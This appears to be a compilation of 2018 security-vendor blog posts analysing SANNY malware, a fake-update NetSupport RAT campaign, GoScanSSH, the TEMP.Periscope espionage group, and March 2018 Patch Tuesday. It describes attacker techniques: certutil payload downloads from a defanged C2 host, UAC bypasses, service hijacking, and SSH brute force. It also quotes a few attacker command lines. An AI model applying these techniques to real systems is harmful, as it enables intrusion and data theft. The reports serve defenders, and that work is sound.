MD5 hash: c538b2b2628bba25d68ad601e00ad150

Original Filename: РГНФ 2018-2019.doc

The document shown in Figure 1 discusses Eurasian geopolitics as
they relate to China, as well as Russia’s security.

Figure 1: Sample document written in Russian

MD5 hash: 7b0f14d8cd370625aeb8a6af66af28ac

Original Filename: Copy of communication from Security
Council Committee (1718).doc

The document shown in Figure 2 discusses sanctions on humanitarian
operations in the Democratic People’s Republic of Korea (DPRK).

Figure 2: Sample document written in English

Macro Analysis

In both documents, an embedded macro stores the malicious command
line to be executed in the TextBox property (TextBox1.Text) of the
document. This TextBox property is first accessed by the macro to
execute the command on the system and is then overwritten to delete
evidence of the command line.

Stage 1: BAT File Download

In Stage 1, the macro leverages the legitimate Microsoft Windows
certutil.exe utility to download an encoded Windows Batch (BAT) file
from the following URL: http://more.1apps[.]com/1.txt. The macro then
decodes the encoded file and drops it in the %temp% directory with the
name: 1.bat.

There were a few interesting observations in the command line:

  1. The macro copies the
    Microsoft Windows certutil.exe utility to the %temp% directory with
    the name: ct.exe. One of the reasons for this is to evade detection
    by security products. Recently, FireEye has observed other threat
    actors using certutil.exe for malicious purposes. By renaming
    “certutil.exe” before execution, the malware authors are attempting
    to evade simple file-name based heuristic detections.
  2. The
    malicious BAT file is stored as the contents of a fake PEM encoded
    SSL certificate (with the BEGIN and END markers) on the Stage 1 URL,
    as shown in Figure 3.  The “certutil.exe” utility is then leveraged
    to both strip the BEGIN/END markers and decode the Base64 contents
    of the file. FireEye has not previously observed the malware authors
    use this technique in past campaigns.

Figure 3: Malicious BAT file stored as an
encoded file to appear as an SSL certificate

BAT File Analysis

Once decoded and executed, the BAT file from Stage 1 will download
an encoded CAB file from the base URL: hxxp://more.1apps[.]com/. The
exact file name downloaded is based on the architecture of the
operating system.

  • For a 32-bit operating
    system: hxxp://more.1apps[.]com/2.txt
  • For a 64-bit
    operating system: hxxp://more.1apps[.]com/3.txt

Similarly, based on Windows operating system version and
architecture, the CAB file is installed using different techniques.
For Windows 10, the BAT file uses rundll32 to invoke the appropriate
function from update.dll (component inside

  • For a 32-bit operating
    system: rundll32 update.dll _EntryPoint@16
  • For a 64-bit
    operating system: rundll32 update.dll EntryPoint

For other versions of Windows, the CAB file is extracted using the
legitimate Windows Update Standalone Installer (wusa.exe) directly
into the system directory:

The BAT file also checks for the presence of Kaspersky Lab Antivirus
software on the machine. If found, CAB installation is changed
accordingly in an attempt to bypass detection:

Stage 2: CAB File Analysis

As described in the previous section, the BAT file will download the
CAB file based on the architecture of the underlying operating system.
The rest of the malicious activities are performed by the downloaded
CAB file.

The CAB file contains the following components:

  • install.bat – BAT file
    used to deploy and execute the components.
  • ipnet.dll – Main
    component that we refer to as SANNY malware.
  • ipnet.ini –
    Config file used by SANNY malware.
  • NTWDBLIB.dll – Performs
    UAC bypass on Windows 7 (32-bit and 64-bit).
  • update.dll –
    Performs UAC bypass on Windows 10.

install.bat will perform the following essential activities:

  1. Checks the current
    execution directory of the BAT file. If it is not the Windows system
    directory, then it will first copy the necessary components
    (ipnet.dll and ipnet.ini) to the Windows system directory before
    continuing execution:

  2. Hijacks a legitimate Windows system service,
    COMSysApp (COM+ System Application) by first stopping this service,
    and then modifying the appropriate Windows service registry keys to
    ensure that the malicious ipnet.dll will be loaded when the
    COMSysApp service is started:

  3. After the hijacked COMSysApp service is
    started, it will delete all remaining components of the CAB

ipnet.dll is the main component inside the CAB file that is used for
performing malicious activities. This DLL exports the following two functions:

  1. ServiceMain – Invoked
    when the hijacked system service, COMSysApp, is started.
  2. Post – Used to perform data exfiltration to the command and
    control (C2) server using FTP protocol.

The ServiceMain function first performs a check to see if it is
being run in the context of svchost.exe or rundll32.exe. If it is
being run in the context of svchost.exe, then it will first start the
system service before proceeding with the malicious activities. If it
is being run in the context of rundll32.exe, then it performs the
following activities:

  1. Deletes the module
    NTWDBLIB.DLL from the disk using the following command:

    cmd /c taskkill /im cliconfg.exe /f /t && del /f /q

  2. Sets the code page on the system
    to 65001, which corresponds to UTF-8:

    cmd /c REG ADD
    HKCUConsole /v CodePage /t REG_DWORD /d 65001 /f

Command and Control (C2) Communication

SANNY malware uses the FTP protocol as the C2 communication channel.

FTP Config File

The FTP configuration information used by SANNY malware is encoded
and stored inside ipnet.ini.

This file is Base64 encoded using the following custom character
set: SbVIn=BU/dqNP2kWw0oCrm9xaJ3tZX6OpFc7Asi4lvuhf-TjMLRQ5GKeEHYgD1yz8

Upon decoding the file, the following credentials can be recovered:

  • FTP Server:
  • Username: cnix_21072852
  • Password:

It then continues to perform the connection to the FTP server
decoded from the aforementioned config file, and sets the current
directory on the FTP server as “htdocs” using the
FtpSetCurrentDirectoryW function.

System Information Collection

For reconnaissance purposes, SANNY malware executes commands on the
system to collect information, which is sent to the C2 server.

System information is gathered from the machine using the following command:

The list of running tasks on the system is gathered by executing the
following command:

C2 Commands

After successful connection to the FTP server decoded from the
configuration file, the malware searches for a file containing the
substring “to everyone” in the “htdocs” directory. This file will
contain C2 commands to be executed by the malware.

Upon discovery of the file with the “to everyone” substring, the
malware will download the file and then performs actions based on the
following command names:

  • chip command: This
    command deletes the existing ipnet.ini configuration file from the
    file system and creates a new ipnet.ini file with a specified
    configuration string. The chip commands allows the attacker to
    migrate malware to a new FTP C2 server. The command has the
    following syntax:

  • pull command: This command is used for the
    purpose of data exfiltration. It has the ability to upload an
    arbitrary file from the local filesystem to the attacker’s FTP
    server. The command has the following syntax:

The uploaded file is compressed and
encrypted using the routine described later in the Compression and
Encoding Data section.

  • put command: This command
    is used to copy an existing file on the system to a new location and
    delete the file from the original location. The command has the
    following syntax:

  • default command: If the
    command begins with the substring “cmd /c”, but it is not followed
    by either of the previous commands (chip, pull, and put), then it
    directly executes the command on the machine using WinExec.
  • /user command: This
    command will execute a command on the system as the logged in user.
    The command duplicates the access token of “explorer.exe” and spawns
    a process using the following steps:

    1. Enumerates the running processes on the system to search for
      the explorer.exe process and obtain the process ID of
    2. Obtains the access token for the
      explorer.exe process with the access flags set to
    3. Starts the application (defined in the C2
      command) on the system by calling the CreateProcessAsUser
      function and using the access token obtained in Step 2.
C2 Command Purpose
chip Update the FTP server config file
pull Upload a file from the machine
put Copy an existing file to a new destination
/user Create a new process with explorer.exe access
default command Execute a program on the machine
using WinExec()

Compression and Encoding Data

SANNY malware uses an interesting mechanism for compressing the
contents of data collected from the system and encoding it before
exfiltration. Instead of using an archiving utility, the malware
leverages Shell.Application COM object and calls the CopyHere method
of the IShellDispatch interface to perform compression as follows:

  1. Creates an empty ZIP file
    with the name: in the %temp% directory.
  2. Writes the
    first 16 bytes of the PK header to the ZIP file.
  3. Calls the
    CopyHere method of IShellDispatch interface to compress the
    collected data and write to
  4. Reads the contents of to memory.
  5. Deletes from the disk.
  6. Creates an empty file, post.txt, in the %temp% directory.
  7. The file contents are Base64 encoded (using the same
    custom character set mentioned in the previous FTP Config File
    section) and written to the file: %temp%post.txt.
  8. Calls
    the FtpPutFileW function to write the contents of post.txt to the
    remote file with the format: “from

Execution on Windows 7 and User Account Control (UAC) Bypass

NTWDBLIB.dll – This component from the CAB file will be extracted to
the %windir%system32 directory. After this, the cliconfg command is
executed by the BAT file.

The purpose of this DLL module is to launch the install.bat file.
The file cliconfg.exe is a legitimate Windows binary (SQL Client
Configuration Utility), loads the library NTWDBLIB.dll upon execution.
Placing a malicious copy of NTWDBLIB.dll in the same directory as
cliconfg.exe is a technique known as DLL side-loading, and results in
a UAC bypass.

Execution on Windows 10 and UAC Bypass

Update.dll – This component from the CAB file is used to perform UAC
bypass on Windows 10. As described in the BAT File Analysis section,
if the underlying operating system is Windows 10, then it uses
update.dll to begin the execution of code instead of invoking the
install.bat file directly.

The main actions performed by update.dll are as follows:

  1. Executes the following
    commands to setup the Windows registry for UAC bypass:

  2. Leverages a UAC
    bypass technique
    that uses the legitimate Windows binary,
    fodhelper.exe, to perform the UAC bypass on Windows 10 so that the
    install.bat file is executed with elevated privileges:

  3. Creates an additional BAT file, kill.bat, in
    the current directory to delete evidence of the UAC bypass. The BAT
    file kills the current process and deletes the components update.dll
    and kill.bat from the file system:


This activity shows us that the threat actors using SANNY malware
are evolving their malware delivery methods, notably by incorporating
UAC bypasses and endpoint evasion techniques. By using a multi-stage
attack with a modular architecture, the malware authors increase the
difficulty of reverse engineering and potentially evade security solutions.

Users can protect themselves from such attacks by disabling Office
macros in their settings and practicing vigilance when enabling macros
(especially when prompted) in documents, even if such documents are
from seemingly trusted sources.

Indicators of Compromise

SHA256 Hash Original Filename
b0f30741a2449f4d8d5ffe4b029a6d3959775818bf2e85bab7fea29bd5acafa4 РГНФ 2018-2019.doc
e29fad201feba8bd9385893d3c3db42bba094483a51d17e0217ceb7d3a7c08f1 Copy of
communication from Security Council Committee (1718).doc
eb394523df31fc83aefa402f8015c4a46f534c0a1f224151c47e80513ceea46f 1.bat
a2e897c03f313a097dc0f3c5245071fbaeee316cfb3f07785932605046697170 (64-bit)
a3b2c4746f471b4eabc3d91e2d0547c6f3e7a10a92ce119d92fa70a6d7d3a113 (32-bit)

Go to Source
Author: Sudeep Singh

Fake Software Update Abuses NetSupport Remote Access Tool

Over the last few months, FireEye has tracked an in-the-wild campaign
that leverages compromised sites to spread fake updates. In some
cases, the payload was the NetSupport Manager remote access tool
(RAT). NetSupport Manager is a commercially available RAT that can be
used legitimately by system administrators for remotely accessing
client computers. However, malicious actors are abusing this
application by installing it to the victims’ systems without their
knowledge to gain unauthorized access to their machines. This blog
details our analysis of the JavaScript and components used in
instances where the identified payload was NetSupport RAT.

Infection Vector

The operator behind these campaigns uses compromised sites to spread
fake updates masquerading as Adobe Flash, Chrome, and FireFox updates.
When users navigate to the compromised website, the malicious
JavaScript file is downloaded, mostly from a DropBox link. Before
delivering the payload, the JavaScript sends basic system information
to the server. After receiving further commands from the server, it
then executes the final JavaScript to deliver the final payload. In
our case, the JavaScript that delivers the payload is named Update.js,
and it is executed from %AppData% with the help of wscript.exe. Figure
1 shows the infection flow.

Figure 1: Infection Flow

In-Depth Analysis of JavaScript

The initial JavaScript file contains multiple layers of obfuscation.
Like other malicious scripts, the first layer has obfuscation that
builds and executes the second layer as a new function. The second
layer of the JavaScript contains the dec function, which is
used to decrypt and execute more JavaScript code. Figure 2 shows a
snapshot of the second layer.

Figure 2: Second Layer of Initial
JavaScript File

In the second JavaScript file, the malware author uses a tricky
method to make the analysis harder for reverse engineers. The author
uses the caller and callee function code to get the key
for decryption. During normal JavaScript analysis, if an analyst finds
any obfuscated script, the analyst tries to de-obfuscate or beautify
the script for analysis. JavaScript beautification tools generally add
line breaks and tabs to make the script code look better and easier to
analyze. The tools also try to rename the local variables and remove
unreferenced variables and code from the script, which helps to
analyze core code only.

But in this case, since the malware uses the caller and
callee function code to derive the key, if the analyst adds or
removes anything from the first or second layer script, the script
will not be able to retrieve the key and will terminate with an
exception. The code snippet in Figure 3 shows this trick.

Figure 3: Anti-Analysis Trick Implemented
in JavaScript (Beautified Code)

The code decrypts and executes the JavaScript code as a function.
This decrypted function contains code that initiates the network
connection. In the decoded function, the command and control (C2) URL
and a value named tid are hard-coded in the script and
protected with some encoded function.

During its first communication to the server, the malware sends the
tid value and the current date of the system in encoded format,
and waits for the response from the server. It decodes the server
response and executes the response as a function, as shown in Figure 4.

Figure 4: Initial Server Communication
and Response

The response from the server is JavaScript code that the malware
executes as a function named step2.

The step2 function uses WScript.Network and Windows Management
Instrumentation(WMI) to collect the following system information,
which it then encodes and sends to the server:

Architecture, ComputerName, UserName, Processors, OS, Domain,
Manufacturer, Model, BIOS_Version, AntiSpywareProduct,
AntiVirusProduct, MACAddress, Keyboard, PointingDevice,
DisplayControllerConfiguration, ProcessList;

After sending the system information to the server, the response
from the server contains two parts: content2 and content3.

The script (step2 function) decodes both parts. The
decoded content3 part contains the function named as
step3, as shown in Figure 5.

Figure 5: Decrypting and Executing
Response step3

The step3 function contains code that writes decoded
content2 into a %temp% directory as Update.js. Update.js
contains code to download and execute the final payload. The
step3 function also sends the resulting data, such as
runFileResult and _tempFilePath, to the server, as shown
in Figure 6.

Figure 6: Script to Drop and Execute Update.js

The Update.js file also contains multi-layer obfuscation. After
decoding, the JavaScript contains code to drop multiple files in
%AppData%, including a 7zip standalone executable (7za.exe),
password-protected archive (Loglist.rtf), and batch script (Upd.cmd).
We will talk more about these components later.

JavaScript uses PowerShell commands to download the files from the
server. It sets the attribute’s execution policy to bypass and
window-style to hidden to hide itself from the end user.

Components of the Attack

Figure 7 shows the index of the malicious server where we have
observed the malware author updating the script content.

Figure 7: Index of Malicious Server

  • 7za.exe: 7zip standalone
  • LogList.rtf: Password-protected archive file
  • Upd.cmd: Batch script to install the NetSupport Client
  • Downloads.txt: List of IPs (possibly the infected systems)
  • Get.php: Downloads LogList.rtf

This file is a batch script that extracts the archive file and
installs the remote control tool on the system. The script is
obfuscated with the variable substitution method. This file was
regularly updated by the malware during our analysis.

After de-obfuscating the script, we can see the batch commands in
the script (Figure 8).

Figure 8: De-Obfuscated Upd.cmd Script

The script performs the following tasks:

  1. Extract the archive using
    the 7zip executable with the password mentioned in the script.
  2. After extraction, delete the downloaded archive file
  3. Disable Windows Error Reporting and App
  4. Add the remote control client executable to
    the firewall’s allowed program list.
  5. Run remote control
    tool (client32.exe).
  6. Add Run registry entry with the name
    “ManifestStore” or downloads shortcut file to Startup folder.
  7. Hide the files using attributes.
  8. Delete all the
    artifacts (7zip executable, script, archive file).

Note: While analyzing the script, we found some typos in the
script (Figure 9). Yes, malware authors make mistakes too. This script
might be in beta phase. In the later version of script, the author has
removed these typos.

Figure 9: Registry Entry Bloopers

Artifact Cleaning

As mentioned, the script contains code to remove the artifacts used
in the attack from the victim’s system. While monitoring the server,
we also observed some change in the script related to this code, as
shown in Figure 10.

Figure 10: Artifact Cleaning Commands

The highlighted command in one of the variants indicates that it
might drop or use this file in the attack. The file could be a decoy document.

Persistence Mechanism

During our analysis, we observed two variants of this attack with
different persistence mechanisms.

In the first variant, the malware author uses a RUN registry entry
to remain persistent in the system.

In the second variant, the malware author uses the shortcut file
(named desktop.ini.lnk), which is hosted on the server. It
downloads the shortcut file and places it into the Startup folder, as
shown in Figure 11.

Figure 11: Downloading Shortcut File

The target command for the shortcut file points to the remote
application “client32.exe,” which was dropped in %AppData%, to start
the application on startup.


Although the file extension is .rtf, the file is actually a 7zipped
archive. This archive file is password-protected and contains the
NetSupport Manager RAT. The script upd.cmd contains the password to
extract the archive.

The major features provided by the NetSupport tool include:

  • Remote desktop
  • File transfer
  • Remote inventory and system
  • Launching applications in client’s
  • Geolocation

This file contains a list of IP addresses, which could be
compromised systems. It has IPs along with User-agent. The IP
addresses in the file belong to various regions, mostly the U.S.,
Germany, and the Netherlands.


RATs are widely used for legitimate purposes, often by system
administrators. However, since they are legitimate applications and
readily available, malware authors can easily abuse them and sometimes
can avoid user suspicion as well.

The FireEye HX Endpoint platform successfully detects this attack at
the initial phase of the attack cycle.


Thanks to my colleagues Dileep Kumar Jallepalli, Rakesh Sharma and
Kimberly Goody for their help in the analysis.

Indicators of Compromise

Registry entries

:  ManifestStore

















Shortcut file

%AppData%RoamingMicrosoftWindowsStart MenuProgramsStartupdesktop.ini.lnk

Firewall program entry allowing the following application


Running process named “client32.exe” from the path “%AppData%ManifestStoreclient32.exe”


The following hashes are JavaScript files that use the same
obfuscation techniques described in the blog:























Go to Source
Author: Sudhanshu Dubey

Forgot About Default Accounts? No Worries, GoScanSSH Didn’t

This blog post was authored by Edmund Brumaghin, Andrew Williams, and Alain Zidouemba.


During a recent Incident Response (IR) engagement, Talos identified a new malware family that was being used to compromise SSH servers exposed to the internet. This malware, which we have named GoScanSSH, was written using the Go programming language, and exhibited several interesting characteristics. This is not the first malware family that Talos has observed that was written using Go. However, it is relatively uncommon to see malware written in this programming language. In this particular case, we also observed that the attacker created unique malware binaries for each host that was infected with the GoScanSSH malware. Additionally, the GoScanSSH command and control (C2) infrastructure was observed leveraging the Tor2Web proxy service in an attempt to make tracking the attacker-controlled infrastructure more difficult and resilient to takedowns.


The initial infection vector leveraged by GoScanSSH was likely an SSH credential brute-force attack against a publicly accessible SSH server that allowed password-based SSH authentication. In this particular series of attacks, the attacker was leveraging a word list containing more than 7,000 username/password combinations. Once the attacker has discovered a valid credential set that allows successful SSH authentication, a unique GoScanSSH malware binary is then created and uploaded to the compromised SSH server. The malware is then executed, thus infecting the system.

The username/password combinations used by this malware appear to target weak or default credentials across a range of Linux-based devices. The following usernames are used by the malware to attempt to authenticate to SSH servers:


Among others, these credential combinations specifically targeted the following:

  • Open Embedded Linux Entertainment Center (OpenELEC)
  • Raspberry Pi
  • Open Source Media Center (OSMC)
  • Ubiquiti device default credentials
  • Jailbroken iPhones
  • PolyCom SIP phone default credentials
  • Huawei device default credentials
  • Asterisk default credentials
  • Various keyboard patterns
  • Well-known commonly used passwords

Additional details regarding the specific operation of the GoScanSSH malware and available functionality found within this malware can be found in the following section.


GoScanSSH is a malware family written using the Golang (Go) programming language targeting Linux systems. During the course of our analysis, Talos discovered more than 70 unique malware samples associated with the GoScanSSH malware family. We have observed examples of GoScanSSH samples that were compiled to support multiple system architectures including x86, x86_64, ARM and MIPS64. While analyzing the MIPS64 version of GoScanSSH, Talos identified a thread where a Ubiquiti Enterprise Gateway Router user found the malware running on their router, indicating that this malware is also being distributed and executed on a variety of device types. Talos has also observed multiple versions (e.g, versions 1.2.2, 1.2.4, 1.3.0, etc.) of this malware active in the wild, indicating that this threat is continuing to be actively developed and improved upon by the attackers.

Immediately following infection, the GoScanSSH malware attempts to determine how powerful the infected system is. This is accomplished by determining how many hash computations can be performed within a fixed time interval. The result of this process is then transmitted to the C2 server, along with basic survey information about the victim machine when the malware sends a “checking_in” message to the C2 server. This message is encrypted prior to being sent to the C2 server. Decrypting this message shows that it is being transmitted using JSON and uses the following format:

The malware also obtains a unique identifier, which is also sent to the C2 server as shown in the request above. Talos observed a multitude of these identifiers across the samples that were analyzed, with the same identifier occurring only twice. Examples of different identifiers that were observed are below:

In the GoScanSSH sample that Talos analyzed, the malware was configured to reach out to the following C2 server domains:


These domains are being accessed using the Tor2Web proxy service. This service allows systems on the standard internet to access resources hosted on Tor without requiring the system to install a Tor client. Talos has observed malware making increased use of these proxying services as described in a blog post here. By leveraging Tor2Web, attackers can host their C2 infrastructure within the Tor network, without requiring them to include additional Tor functionality within their malware.

The communications between the compromised host and the C2 infrastructure are authenticated to ensure that the compromised hosts cannot be hijacked. To implement this, the messages transmitted between infected systems and the C2 servers are encrypted with AES encryption using randomly generated secret keys. The secret keys are also encrypted using RSA asymmetric encryption. The RSA public key is hardcoded within the malware binary. The encrypted secret key and the contents of the JSON being transmitted are concatenated and base64 encoded. This is then sent to the C2 server as the URI portion of an HTTP GET request.

Prior to initiating SSH scanning activity, the malware waits for the C2 server to respond to the aforementioned HTTP GET request with the SHA256 hash of the JSON data structure associated with the “checking_in” message. If this has not been received, the malware implements a sleep function and will retry this process.

Using Investigate from Cisco Umbrella to analyze DNS requests attempting to resolve a single C2 domain from the ones listed above, Talos identified a marked increase in attempts to resolve it, which may be indicative that the number of compromised hosts is continuing to increase.

In analyzing passive DNS data related to all of the C2 domains collected from all of the samples Talos analyzed, resolution attempts were seen dating back to June 19, 2017, indicating that this attack campaign has been ongoing for at least nine months. Additionally, the C2 domain with the largest number of resolution requests had been seen 8,579 times.

A graph showing the total amount of DNS activity for all of the malicious domains we identified is below:

The full list of the 250 domains that Talos identified as related to this ongoing activity can be found in the Indicators of Compromise (IOC) section of this blog.


One of the main functions the GoScanSSH malware performs is scanning and identifying additional vulnerable SSH servers exposed to the internet that can be further compromised by the attacker(s). This is performed by first randomly generating an IP address, avoiding special-use addresses. It then compares the IP address to a list of CIDR blocks that the malware will not attempt to scan. The contents of this list are network ranges primarily controlled by various government and military entities, specifically avoiding ranges assigned to the U.S. Department of Defense as listed here. Additionally, one of the network ranges in the list is assigned to an organization in South Korea. If the selected IP falls into these network ranges, it is discarded and a new IP address is generated.

The malware then attempts to establish a TCP connection to the selected IP address on TCP/22. If the connection is successfully established, the malware will then perform a reverse DNS lookup to determine if the IP address resolves to any domain names. If the reverse DNS lookup returns a domain, it is compared against a list of domains related to various government and military entities. If the domain matches any of the entries on the list, the connection is terminated, the IP is discarded and a new one is generated. A list of the CIDR blocks and domains included in this process can be found in Appendices A and B.

Once it has been determined that the selected IP address is an ideal candidate for additional attacks, the malware attempts to obtain valid SSH credentials by attempting to authenticate to the system using the aforementioned wordlist containing username and password combinations. If successful, the malware reports back to the C2 server. The communication back to the C2 server transmits a banner and other information about the status of the attack in JSON using the following format:

Talos believes the attacker then compiles a new malware binary specifically for the compromised system, and infects the new host, causing this process to repeat on the newly infected system.


These attacks demonstrate how servers exposed to the internet are at constant risk of attack by cybercriminals. Organizations should employ best practices to ensure that servers they may have exposed remain protected from these and other attacks that are constantly being launched by attackers around the world. Organizations should ensure that systems are hardened, that default credentials are changed prior to deploying new systems to production environments, and that these systems are continuously monitored for attempts to compromise them. Talos is continuing to monitor and track this attack, as well as others across the threat landscape to ensure that customers remain protected as these threats continue to evolve over time.


A list of binary hashes (SHA256) associated with this malware can be found here.

A list of domains associated with this malware can be found here.


The following list is used to determine whether the randomly generated IP that the malware uses should not be used to attempt to compromise the system.


The following list is used to determine based on the results of a reverse DNS lookup whether to continue attempting to compromise the system. If the domain is in the following list, it is discarded.


Go to Source
Author: Talos Group

Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S.Engineering and Maritime Industries

Intrusions Focus on the Engineering and Maritime Sector

Since early 2018, FireEye (including our FireEye as a Service
(FaaS), Mandiant Consulting, and iSIGHT Intelligence teams) has been
tracking an ongoing wave of intrusions targeting engineering and
maritime entities, especially those connected to South China Sea
issues. The campaign is linked to a group of suspected Chinese cyber
espionage actors we have tracked since 2013, dubbed TEMP.Periscope.
The group has also been reported as “Leviathan
by other security firms.

The current campaign is a sharp escalation of detected activity
since summer 2017. Like multiple other Chinese cyber espionage actors,
TEMP.Periscope has recently re-emerged and has been observed
conducting operations with a revised toolkit. Known targets of this
group have been involved in the maritime industry, as well as
engineering-focused entities, and include research institutes,
academic organizations, and private firms in the United States.
FireEye products have robust detection for the malware used in this campaign.

TEMP.Periscope Background

Active since at least 2013, TEMP.Periscope has primarily focused on
maritime-related targets across multiple verticals, including
engineering firms, shipping and transportation, manufacturing,
defense, government offices, and research universities. However, the
group has also targeted professional/consulting services, high-tech
industry, healthcare, and media/publishing. Identified victims were
mostly found in the United States, although organizations in Europe
and at least one in Hong Kong have also been affected. TEMP.Periscope
overlaps in targeting, as well as tactics, techniques, and procedures
(TTPs), with TEMP.Jumper, a group that also overlaps significantly
with public reporting on “NanHaiShu.”

TTPs and Malware Used

In their recent spike in activity, TEMP.Periscope has leveraged a
relatively large library of malware shared with multiple other
suspected Chinese groups. These tools include:

    JavaScript-based backdoor also reported as “Orz” that retrieves
    commands from hidden strings in compromised webpages and actor
    controlled profiles on legitimate services.
    backdoor that is capable of modifying the file system, generating a
    reverse shell, and modifying its command and control (C2)
  • PHOTO: a DLL backdoor also reported publicly
    as “Derusbi”, capable of obtaining directory, file, and drive
    listing; creating a reverse shell; performing screen captures;
    recording video and audio; listing, terminating, and creating
    processes; enumerating, starting, and deleting registry keys and
    values; logging keystrokes, returning usernames and passwords from
    protected storage; and renaming, deleting, copying, moving, reading,
    and writing to files.
  • HOMEFRY: a 64-bit Windows password
    dumper/cracker that has previously been used in conjunction with
    AIRBREAK and BADFLICK backdoors. Some strings are obfuscated with
    XOR x56. The malware accepts up to two arguments at the command
    line: one to display cleartext credentials for each login session,
    and a second to display cleartext credentials, NTLM hashes, and
    malware version for each login session.
    uploader that can exfiltrate files to Dropbox.
    command-line reconnaissance tool. It can be used to execute files as
    a different user, move, and delete files locally, schedule remote AT
    jobs, perform host discovery on connected networks, scan for open
    ports on hosts in a connected network, and retrieve information
    about the OS, users, groups, and shares on remote hosts.
  • China Chopper: a simple code injection webshell that executes
    Microsoft .NET code within HTTP POST commands. This allows the shell
    to upload and download files, execute applications with web server
    account permissions, list directory contents, access Active
    Directory, access databases, and any other action allowed by the
    .NET runtime.

The following are tools that TEMP.Periscope has leveraged in past
operations and could use again, though these have not been seen in the
current wave of activity:

  • Beacon: a backdoor that
    is commercially available as part of the Cobalt Strike software
    platform, commonly used for pen-testing network environments. The
    malware supports several capabilities, such as injecting and
    executing arbitrary code, uploading and downloading files, and
    executing shell commands.
    a backdoor that obfuscates its communications as normal traffic to
    legitimate websites such as Github and Microsoft’s Technet portal.
    Used by APT17 and
    other Chinese cyber espionage operators.

Additional identifying TTPs include:

  • Spear phishing, including
    the use of probably compromised email accounts.
  • Lure
    documents using CVE-2017-11882 to drop malware.
  • Stolen code
    signing certificates used to sign malware.
  • Use of
    bitsadmin.exe to download additional tools.
  • Use of
    PowerShell to download additional tools.
  • Using
    C:WindowsDebug and C:Perflogs as staging directories.
  • Leveraging Hyperhost VPS and Proton VPN exit nodes to access
    webshells on internet-facing systems.
  • Using Windows
    Management Instrumentation (WMI)
    for persistence
  • Using Windows Shortcut files (.lnk)
    in the Startup folder that invoke the Windows Scripting Host
    (wscript.exe) to execute a Jscript backdoor for persistence.
  • Receiving C2 instructions from user profiles created by the
    adversary on legitimate websites/forums such as Github and
    Microsoft’s TechNet portal.


The current wave of identified intrusions is consistent with
TEMP.Periscope and likely reflects a concerted effort to target
sectors that may yield information that could provide an economic
advantage, research and development data, intellectual property, or an
edge in commercial negotiations.

As we continue to investigate this activity, we may identify
additional data leading to greater analytical confidence linking the
operation to TEMP.Periscope or other known threat actors, as well as
previously unknown campaigns.


x.js 3fefa55daeb167931975c22df3eca20a HOMEFRY, a 64-bit Windows password
mt.exe 40528e368d323db0ac5c3f5e1efe4889 MURKYTOP, a command-line
reconnaissance tool
com4.js a68bf5fce22e7f1d6f999b7a580ae477 AIRBREAK, a JavaScript-based
backdoor which retrieves commands from hidden strings in
compromised webpages

Historical Indicators

green.ddd 3eb6f85ac046a96204096ab65bbd3e7e AIRBREAK, a JavaScript-based
backdoor which retrieves commands from hidden strings in
compromised webpages
BGij 6e843ef4856336fe3ef4ed27a4c792b1 Beacon, a commercially available
msresamn.ttf a9e7539c1ebe857bae6efceefaa9dd16 PHOTO, also reported as
1024-aa6a121f98330df2edee6c4391df21ff43a33604 bd9e4c82bf12c4e7a58221fc52fed705 BADFLICK, backdoor that is capable
of modifying the file system, generating a reverse shell, and
modifying its command-and-control configuration

Go to Source
Author: FireEye

Microsoft Patch Tuesday – March 2018

Microsoft Patch Tuesday – March 2018

Today, Microsoft has released its monthly set of security advisories for vulnerabilities that have been identified and addressed in various products. This month’s advisory release addresses 74 new vulnerabilities, with 14 of them rated critical and 59 of them rated important. These vulnerabilities impact Internet Explorer, Edge, Exchange, Scripting Engine, Windows Shell and more.


This month, Microsoft is addressing 14 vulnerabilities that are rated as critical.

The vulnerabilities rated as critical are listed below:

CVE-2018-0872 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0874 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0876 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0889 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0893 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0925 – Scripting Engine Memory Corruption Vulnerability
CVE-2018-0930 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0931 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0932 – Microsoft Browser Information Disclosure Vulnerability
CVE-2018-0933 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0934 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0936 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0937 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0939 – Scripting Engine Information Disclosure Vulnerability


This month, Microsoft is addressing 59 vulnerabilities that are rated as important. Talos believes one of these is notable and should be called out.

CVE-2018-0883 – Windows Shell Remote Code Execution Vulnerability

A remote code execution vulnerability has been identified in Windows Shell. This vulnerability could be exploited by an attacker convincing a user to open a specially crafted file via email, messaging, or other means. An attacker exploiting this vulnerability could execute arbitrary code in context of the current user.

Other vulnerabilities rated as important are listed below:

CVE-2018-0877 – Windows Desktop Bridge VFS Elevation of Privilege Vulnerability
CVE-2018-0878 – Windows Remote Assistance Information Disclosure Vulnerability
CVE-2018-0879 – Microsoft Edge Information Disclosure Vulnerability
CVE-2018-0880 – Windows Desktop Bridge Elevation of Privilege Vulnerability
CVE-2018-0881 – Microsoft Video Control Elevation of Privilege Vulnerability
CVE-2018-0882 – Windows Desktop Bridge Elevation of Privilege Vulnerability
CVE-2018-0787 – ASP.NET Core Elevation Of Privilege Vulnerability
CVE-2018-0808 – ASP.NET Core Denial Of Service Vulnerability
CVE-2018-0811 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0813 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0814 – Windows Kernel Information Disclosure Vulnerability
CVE-2018-0815 – Windows GDI Elevation of Privilege Vulnerability
CVE-2018-0816 – Windows GDI Elevation of Privilege Vulnerability
CVE-2018-0817 – Windows GDI Elevation of Privilege Vulnerability
CVE-2018-0868 – Windows Installer Elevation of Privilege Vulnerability
CVE-2018-0873 – Chakra Scripting Engine Memory Corruption Vulnerability
CVE-2018-0875 – ASP.NET Core Denial of Service Vulnerability
CVE-2018-0884 – Windows Security Feature Bypass Vulnerability
CVE-2018-0885 – Windows Hyper-V Denial of Service Vulnerability
CVE-2018-0886 – CredSSP Remote Code Execution Vulnerability
CVE-2018-0888 – Hyper-V Information Disclosure Vulnerability
CVE-2018-0891 – Microsoft Browser Information Disclosure Vulnerability
